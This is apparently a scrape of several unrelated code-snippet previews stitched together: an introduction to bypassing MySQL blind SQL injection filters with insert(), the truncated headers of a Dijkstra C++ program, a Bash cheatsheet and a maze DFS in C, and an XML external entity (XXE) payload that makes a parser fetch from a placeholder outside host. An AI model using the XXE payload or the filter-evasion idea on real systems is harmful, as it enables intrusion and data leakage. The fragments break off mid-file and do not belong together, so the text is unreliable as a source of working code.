There are several ways to bypass blind SQLi filters,
and today I will introduce MySQL blind sqli payload using an insert() function.
Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.
This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ... ) are blocked by the script.
| // Implementação do algoritmo de Dijkstra | |
| // Teste: http://br.spoj.com/problems/ENGARRAF/ | |
| #include <iostream> | |
| #include <list> | |
| #include <queue> | |
| #define INFINITO 10000000 | |
| using namespace std; |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| #!/bin/bash | |
| ##################################################### | |
| # Name: Bash CheatSheet for Mac OSX | |
| # | |
| # A little overlook of the Bash basics | |
| # | |
| # Usage: | |
| # | |
| # Author: J. Le Coupanec | |
| # Date: 2014/11/04 |
| /** dfs.c | |
| * @author Arthur Xavier <[email protected]> | |
| * @usage | |
| * $ gcc dfs.c | |
| * $ ./a.out < maze1.txt | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| /** |
